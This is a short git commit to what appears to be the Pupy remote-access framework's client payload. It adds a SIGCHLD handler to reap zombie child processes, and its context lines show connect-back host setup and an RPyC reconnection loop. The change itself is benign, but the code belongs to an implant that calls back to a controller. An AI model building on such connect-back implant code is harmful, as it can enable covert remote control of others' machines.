Prevent zobmie creation

This commit is contained in:
Oleksii Shevchuk 2017-03-02 16:32:36 +02:00 committed by Oleksii Shevchuk
parent 1a02ac6150
commit 416d7f47eb
1 changed files with 6 additions and 0 deletions

View File

@ -62,6 +62,7 @@ from network.lib.connection import PupyConnection
import logging
import shlex
import marshal
import signal
try:
# additional imports needed to package with pyinstaller
@ -215,6 +216,9 @@ def set_connect_back_host(HOST):
import pupy
pupy.get_connect_back_host = (lambda: HOST)
def handle_sigchld(*args, **kwargs):
os.waitpid(-1, os.WNOHANG)
attempt = 0
debug = False
@ -279,6 +283,8 @@ def main():
exited = False
signal.signal(signal.SIGCHLD, handle_sigchld)
while not exited:
try:
rpyc_loop(launcher)